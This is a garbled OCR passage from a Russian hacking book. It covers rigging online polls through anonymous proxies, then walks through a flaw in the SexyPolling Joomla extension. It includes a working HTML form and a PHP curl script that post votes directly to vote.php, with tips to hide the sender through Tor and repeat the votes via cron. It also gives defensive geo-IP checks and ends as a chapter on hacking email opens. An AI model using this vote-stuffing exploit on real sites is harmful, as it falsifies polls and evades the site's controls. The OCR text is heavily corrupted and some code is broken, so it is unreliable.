книги хакеры / Хакинг на примерах
.pdf
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|||
|
F |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
t |
|
|
||
P |
D |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
NOW! |
r |
|
||||||
|
|
|
|
|
BUY |
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
m |
|
|
w Click |
|
|
|
|
|
|
o |
|
||||
|
w |
|
|
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
||
|
|
p |
df |
|
|
|
|
e |
|
|
||
|
|
|
|
|
g |
|
|
|
|
|||
|
|
|
|
|
n |
|
|
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
||
|
|
|
|
|
|
|
|
|
|
|
1i)- Начал |
|
|
|
|
|
|
|
|
|
|
|
|
о |
|
|
|
|
|
|
|
|
|
|
|
|
Поиск |
|
|
|
|
|
|
|
|
|
|
|
|
а ::: |
ность |
|
|
|
|
|
|
|
|
|
|
|
и |
С Акw.аунт Firefox.
ф По,адержu Firefox
х
'lj.JVl'l..;Н::)V,Ц.,I IC.IIDnu...., D
Исnольэооать рекомеtlд)'емые настр
'Э1\оl lj{Кfp<'>ИKM раа:ч...,;,ны ДМI ВМIJl?m 11:J
Просмотр сайтов
И польэооать автоматическую прок1
исr1211ьзовать плавную прокрутку
При tlеобХОДИМОСТИ отображать Cettl Всегда исrюльэовать раеищи icypcoJ Исqть текст на странице по мере en
Ре15омеНАоваТЬ расширения nри про
1 1а11,1 .:!.
.. |
|
FireX Proxy |
|
.. |
z:: Sp•ln |
•• |
1С ..... |
•• |
z:: SJNln |
.. |
,., с•.- |
,. |
- R1,1••!-a |
.. |
Unlied Stllt•• |
.. |
а Yl•tn.tlll'I |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
|
|
|
|
X |
|
|
|
|
|
|
|||
|
|
|
|
|
- |
|
|
|
|
|
d |
|
|||
|
|
|
|
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
||
|
|
|
|
P |
|
|
|
|
|
NOW! |
o |
||||
l,a1, в1.10\lа11. с.1111 |
|
|
|
|
|||||||||||
|
|
|
|
|
|
|
|
||||||||
|
|
|
|
|
|
|
|
to |
BUY |
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|||||
|
|
|
|
|
|
|
|
|
|
||||||
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
* |
|
11\ |
CD .е |
|
w |
'4' |
|
|
|
g |
|
o |
|
||
|
|
|
|
|
|
.c |
|
||||||||
|
|
|
|
|
. |
|
|
|
|
|
|
|
|||
|
|
|
|
|
|
p |
df |
|
|
n |
e |
|
|||
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
||
|
|
"'ё |
С |
|
|
|
|
|
|
|
|
|
|
|
|
|
НТТ'Р |
:1111: |
|
|
|
|
|
|
|
|
|
|
|
|
|
• |
НТТ'Р |
81111: |
|
|
|
|
|
|
|
|
|
|
|
|
|
.. |
НТТР |
- 11'1= |
|
|
|
|
|
|
|
|
|
|
|
|
|
.. |
НТТР |
|
|
|
|
|
|
|
|
|
|
|
|
||
|
|
1 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
■-111• |
|
|
|
|
|
|
|
|
|
|
|
|
|
. |
НТТ'Р ■11:11: |
|
|
|
|
|
|
|
|
|
|
|
|
||
• |
нтт,, |
811111: |
|
|
|
|
|
|
|
|
|
|
|
|
|
,, |
НТТ'Р |
=-1111: |
|
|
|
|
|
|
|
|
|
|
|
|
;НТТ'Р N!iШM
НТТ'Р
Параметры сети
асtроиrь, к |
кFirefoxсоединяется с Интернетом. Под,робнt |
насrроиtь... |
Н |
а |
|
Рис. 1.4. Расширение FireXProxy для Firefox
Не забывай регулярно обновлять список прокси. «Обработал» первые две страницы списка - обновляй, появятся новые прокси, возможно, с лучшими
параметрами. Недостатки:
•Если кто-то такой же умный, как и ты, то нужно действовать быстро. Ско рее всего, списки прокси окажутся и у конкурентов и IР-адреса будут заняты.
•Недостаток расширений вроде FireX Proxy - ограниченный набор прокси. На сайтах, публикующих списки, выбор будет побогаче.
Помню, как-то «накручивал» голосовалку на сайте, где можно было голосо вать раз в 24 часа. Соответственно, сегодня я узурпировал какой-то IР-адрес, завтра - кто-то другой. Довольно неблагодарное занятие, узурпирующее много времени. Поскольку человек - создание ленивое и умное, то нужно
искать альтернативные решения.
Как защититься?
Дабы уравнять шанс, делимся с веб-мастерами, как защититься от .анони...
•майзеров. Способ прост как мир. Некоторые голосовалки позволяют
. . . . - .. -- - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
d |
|
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
||||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
|
BUY |
|
|
||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
|
|
|
|
|
m |
страну. с которой можно голосовать. также можно установить. |
можw Click |
|
|
|
|
|
|
m |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
o |
|||||||||||
|
w |
|
|
|
выбратьo |
|
w |
|
|
|
|
|
|
|
|
|
||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
.c |
|
|
|
. |
|
|
|
|
|
|
.c |
|
||||
|
|
p |
|
|
но ли повторно голосовать с одного и того же IP. В некоторых случаях раз |
|
|
|
g |
|
|
|
||||||||||||
|
|
|
|
|
|
g |
|
|
|
|
|
|
p |
|
|
|
|
|
|
|
||||
|
|
|
df |
|
|
n |
e |
|
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
решается голосовать с одного и того же IP через определенное время.
Значит так: устанавливаем, что можно голосовать только с России (ты же не думаешь, что за мисс первого курса твоего универа будут голосовать из Кении. Бангладеша и Зимбабве?) и только с одного IP. Конечно. в России тоже есть анонимные прокси, но их гораздо меньше, чем во всем мире. Да и возможность проголосовать с одного IP толь ю один раз, позволит зачислить небольшое количество голосов, которое никак не повлияет на результат.
Если беспокоишься и за это небольшое количество, тогда делаем так: l. Ограничиваешь возможность голосования только с России
2.Ищешь в Инете постоянно обновляющиеся списки прокси, выбираешь только российские адреса (как правило, указывается страна прокси) и
добавляешь их в .htaccess в конструкции denyfrom)
3.Повторяешь пункт 2 каждый день - вдруг появится новый адрес. Голо сование не длится вечно, как правило, есть опр деленные сроки голо
сования. Рано или поздно у тебя соберется хороший список российских прокси. который будет нужно будет обновлять, скажем, раз в месяц.
Сложнее, если сценарий не поддерживает ограничение по стране. Тогда нужно реализовать такую проверку собственными силами. Организовать проверку страны, города, региона по IР-адресу можно с помощью всевоз можных сервисов.
Вот как можно получить город с помощью geoplugin.net:
function get_geo_city($ip) {
$ip_data = @json_decode (file_get_contents("http://www. geoplugin.net/json.gp?ip=".$ip));
if($ip_data && $ip_data->geoplugin city != null)
{
$result = $ip_data->geoplugin city; return $result;
А вот уже готовая функция для получения региона: |
• |
|
|
||
...........................-······............... |
···------· - |
....................... . |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
r |
|
||
P |
|
|
|
|
|
NOW! |
o |
|
|||
|
|
|
|
|
|
|
1 1а11а 2_ 1,·а1, BJ.I0\1;111, |
||||
|
|
|
|
|
|
|
|
||||
|
|
|
|
to |
BUY |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
|
||||
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
{ |
||
|
|
p |
|
-xchafunction get_geo_region($ip) |
|||||||
|
|
|
|
|
|
g |
|
|
|
||
|
|
|
df |
|
|
n |
e |
|
|
||
|
|
|
|
|
|
|
|
|
$ip_data = @json_decode(file_get_contents("http://www. geoplugin.net/json.gp?ip=н .$ip));
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
CIIII |
|
|
|
|
||||||
|
|
|
|
to |
BUY |
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
if($ip_data && $ip_data->geoplugin_region != null)
{
$result = $ip_data->geoplugin regionName;
return $result;
SxGeo
//Подключаем SxGeo.php класс include(«SxGeo.php»);
//Создаем объект
$SxGeo = new SxGeo('SxGeoCity.dat');
$ip = $_SERVER['REMOTE_ADDR']; var_export($SxGeo->getCityFull($ip)); // Вся информация о
городе |
|
var_export($SxGeo->get($ip)); |
// Краткая информация |
о городе или код страны (если используется база SxGeo |
|
Country) |
|
(geoplugin)- |
|
|
тогда - |
то |
|
это |
большую |
2.3.4. Ломаем rолосовалку
,Последний способ самый сложный и заключается он в выявлении всевоз....
можных «дыр)) в системе голосования. Недостаток - голосовалка может не
_ - - - - - - - -- - - - - -- - -- - - - - - - - -- --- - - - - - - - - -- - - - - - --- - -- - - - - - - - - - - - - - -- - - - - - - - - - - - -
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|||
|
|
|
C |
|
|
E |
|
|
|
|
|
|
C |
|
E |
|
|
|
||||||
|
|
X |
|
|
|
|
|
|
|
|
|
X |
|
|
|
|
|
|
||||||
|
- |
|
|
|
|
|
|
d |
|
|
- |
|
|
|
|
|
d |
|
||||||
|
F |
|
|
|
|
|
|
|
|
t |
|
|
F |
|
|
|
|
|
|
|
t |
|
||
|
D |
|
|
|
|
|
|
|
|
|
i |
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|
|
|
|
|
|
|
r |
|||
P |
|
|
|
|
|
NOW! |
o |
|
P |
|
|
|
|
|
NOW! |
o |
||||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|||||||||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
|
BUY |
|
|
|||||||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
to |
|
|
|
|
|
|
||
w Click |
|
иметьm |
слабых мест (если ее правильно спроектировали), |
следовательно,Clickу |
|
|
|
|
|
|
m |
|||||||||||||
|
|
|
|
|
|
|
|
|
||||||||||||||||
w |
|
|
|
|
|
|
|
|
|
o |
|
w |
|
|
|
|
|
|
|
|
o |
|
||
|
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
|
||
|
. |
|
|
|
|
|
|
|
.c |
|
w |
|
|
|
|
|
|
|
.c |
|
||||
|
|
|
|
|
|
|
|
|
|
. |
|
|
|
|
|
|
|
|||||||
|
|
p |
|
|
|
тебя ничего не получится. |
|
|
p |
|
|
|
|
g |
|
|
|
|||||||
|
|
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
df |
|
|
|
n |
e |
|
|
|
|
df |
|
|
n |
e |
|
||||||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
|
-x cha |
|
|
|
|
|
В данной статье будет описан эксперимент, рецепт которого был найден на просторах Сети. Цель эксперимента - выявление «дыр)) в популярном расширении SexyPolling для Joomla! (https://extensions.joomla.org/extension/ sexy-polling/). Само по себе расширение довольно дырявое и подвержено SQL Injection, мы не рекомендуем его к использованию. Но в ходе проведе ния эксперимента были выявлены дополнительные «дыры)), никак не свя занные с SQL Injection.
Первым делом смотрим, как организована кнопка «Голосовать)). В случае с
SexyPolling это было так:
Рис. 2.5. Смотрим код страницы По понятным причиншн ((8селишнее» закрыто
Как видишь, классической формы нет, обработкой нажат_иякнопки занима ется JavaScript-cцeнapий. Судя по всему, он и передает твой голос на сервер. Смотрим в <head> сценарии (хотя сценарии могут быть определены и в кон це страницы). Ищем сценарий, содержащий в названии polling, poll, voting
и т.д.
По названию этого файла можно понять, с чем имеешь дело. Определив сце нарий голосовалки, можно нагуглить инфу о его уязвимостях.
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
||
|
|
|
C |
|
E |
|
|
|
|
|
|
||||
|
|
X |
|
|
|
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
|
d |
|
|
|
|
|
||
|
F |
|
|
|
|
|
|
|
t |
|
|
|
|
|
|
|
D |
|
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r |
|
|
|
|||
P |
|
|
|
|
|
NOW! |
o |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
|
|
|
|
|
|
||||
|
|
|
|
to |
|
|
|
|
|
|
|
|
|
|
|
w Click |
|
|
|
|
|
|
m |
|
|
|
|
||||
|
|
|
|
|
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
. |
|
|
|
|
|
|
.c |
|
|
|
|
|
||
|
|
p |
|
|
|
|
|
g |
|
|
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
;: : ,; :: -: .1, ; 1i ,,;-,,r1ul...1..:,.nc/•I.i J:i/_sgJ01:yii,g,.,l J..щJ.. ,,._- |
t.YJt•;: |
- 1:'4Jt:к';J' |
' |
|||
|
|
|
|
-xcha |
-· |
|
|
||||||||
|
|
|
|
|
|
|
|
|
|||||||
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
·--,;Lj }
Рис. 2.6. Определяем сценарий zолосовалки
Рис. 2. 7. Параметры, передаваемые сценарию
Рис. 2.8. Вычисляем ID голосования
•. - - - - - - - - - - - - - - - - - - - - - --- - - - - --- - - - - - - - - - - - - --- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ...
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
|
|
|
o |
|
|
|
|
|
|
'\а1,11111 11.1 lliJll'll'pa, |
|||||
|
|
|
|
|
|
|||||
|
|
|
|
|
BUY |
NOW! |
|
|
||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис. 2.9. Вычисляем ID ответа
Самый простой способ передачи РОSТ-запроса (а судя по JavaScript-кoдy отправляется именно РОSТ-запрос) - обычная НТМL-форма. Подойдет вот такая формочка:
<form action=»http://caйт/components/com_sexypolling/vote. php» method=post>
<input type=text name="polling_id" value="1821"> <input type=text name="sexypolling_token" value="l"> <input type=text name="answer id[]" value="l256"> <input type=submit>
</form>
Передаются ID голосования, номер ответа и параметр sexypolling. Открываем НТМL-файл в браузере (желательно через Tor, чтобы не светить свой IP) и нажимаем кнопочку Submit. Далее смотрим на счетчик - о чудо - он увеличился! Да, если бы расширение бьшо бы написано правильно и перед увеличением счетчика проверяло бы IР-адрес, то ничего бы не вышло. А оно было организовано иначе - сначала JS проверяет IP и отображает кра сивый счетчик времени до следующей попытки, если человек уже голосовал с этого IP, или же ((Дергает»сценарий vote.php, который щ,осто увеличивает счетчик нужного кандидата. И ему все равно, сколько вы отправили запро сов - хоть 100, хоть 10000 с одного IP.
1 ф file:///C' Usarstoe,VOO,,,,,nIO&dw't'Of' Bra- , |
QID S 8 » E |
|
_'"""] |
15uЬn«queryj |
|
--- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - . - - - - - - - - - - - - .. - - - - - - . - - -- - - - - -- . - ... - . |
|
Рис. 2.1О. Форма в браузере |
• |
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
2.3.5. Автоматизируем
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Нажимать кнопочкуэто тоже работа, поэтому можно автоматизировать сей процесс:
<?php
if( $curl = curl_init() ) {
curl setopt($curl, CURLOPT_URL, 'http: / /caйт/components/ com_sexypolling/vote.php');
curl_setopt($curl, CURLOPT_RETURNTRANSFER,true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, "polling_
id=1821&sexypolling_token=l&answer_id[]=1256"); $out = curl_ exec($curl);
//echo $out; curl_close($curl);
?>
Это простейший РНР-сценарий, отправляющий РОSТ-запрос сценарию vote.php. Думаю, сценарий понятен без каких-либо комментариев. Если у тебя есть вопросы, обратись к документации по РНР.
Далее нужно обеспечить автоматический запуск этого сценарий. Если ты счастливый пользователь VDS от Xelent или же у тебя на домашнем ком пе установлена Linux, самым правильным способом будет добавить вызов РНР-сценария (у меня он называется test.php) в расписание cron:
crontab -е
В данном примере сценарий запускается каждые 5 минут. То есть каждые 5 минут твой кандидат получит голос. При желании можно запускать этот сценарий каждую минуту или вообще организовать цикл и добавить любое количество голосов сразу. Здесь уже как захочешь.
Если же у тебя есть обычный хостинг, можешь «залить)) РНР-сценарий на крутки на хостинг, установить в браузер расширение перезагрузки страницы (вроде Page Reload) и настроить его на перезагрузку страницы со сценарием каждые несколько минут. Для сокрытия своего IP можно использовать..Tor
•Browser.
. .............. ... .. . .. .. .. . .. .. . .. . . ...... .......... . .. ... .... ... ... ... ... ... ....
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Рис. 2.11. Расписание cron
. 2.3.6. Как защититься от взлома?
Есть три рекомендации:
1.Установить самую последнюю версию голосовалки. Есть ш нсы, что все известные «дыры» уже залатаны.
2.Погуглить и попытаться найти информацию об уязвимости используемо го компонента. Попытаться исправить «дыры» самому или обратиться к спецам.
3.Конкретно в случае SexyPollingсменить на другой компонент. Если уж сильно хочется использовать именно его, добавь в код vote.php проверку региона/страны. В самой голосовалке есть возможность ограничения по
стране, но ограничение не проблема обойти, поскольку сам vote.php не осуществляет такую проверку. Выше было показано, как организовать
проверку региона/города по IР-адресу. |
Подобную проверку нужно до |
|
бавить в код vote.php: |
|
• |
|
|
|
--··-·······--·--··-·---·--····-·····-·---·-- |
·---··---·-······--·--···--· |
---------· |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|
|
|||
|
|
X |
|
|
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
|
|
||
|
F |
|
|
|
|
|
|
t |
|
|
||
|
D |
|
|
|
|
|
|
|
i |
r |
||
P |
|
|
|
|
|
NOW! |
o |
|
||||
|
|
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
|
|
w Click |
|
if |
|
m |
(get geo_city($ip) !=="Moscow") |
|||||||
|
|
|
||||||||||
w |
|
|
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
|
o |
|
|
|
. |
|
|
|
|
|
.c |
|
|
|||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
|
|
df |
|
|
n |
e |
|
|
|
||
|
|
|
|
-xcha |
|
|
|
|
|
|
die();
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
Вместо dieO можешь организовать редирект на страничку, на которой мо жешь изложить все, что ты думаешь по поводу накрутки:
if (get geo city($ip) !=="Moscow") header('Location: nakrutka.html');
Цель эксперимента - показать, как легко можно произвести накрутку счет чика голосования при условии наличия уязвимостей в системе голосований, и описать способы защиты от противоправных действий. Ни одна реальная система не пострадала и весь процесс производился в лабораторных услови ях - на локальных машинах.
• |
··- |
............... ............................... . ...... ··············............. |
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-xcha |
|
|
|
|
Глава 3.
Как взломать электронную почту
|
|
|
|
hang |
e |
|
|
|
|
|
|
|
|
C |
|
E |
|
|
|||
|
|
X |
|
|
|
|
|
|||
|
- |
|
|
|
|
|
d |
|
||
|
F |
|
|
|
|
|
|
t |
|
|
|
D |
|
|
|
|
|
|
|
i |
|
|
|
|
|
|
|
|
|
r |
||
P |
|
|
|
|
|
NOW! |
o |
|||
|
|
|
|
|
|
|
||||
|
|
|
|
|
BUY |
|
|
|||
|
|
|
|
to |
|
|
|
|
|
|
w Click |
|
|
|
|
|
m |
||||
|
|
|
|
|
|
|||||
w |
|
|
|
|
|
|
|
|
|
|
|
w |
|
|
|
|
|
|
|
o |
|
|
. |
|
|
|
|
|
.c |
|
||
|
|
p |
|
|
|
|
g |
|
|
|
|
|
|
df |
|
|
n |
e |
|
||
|
|
|
|
-x cha |
|
|
|
|
3.1. Троянский конь
1 •
Ellt····-····-·············--·························································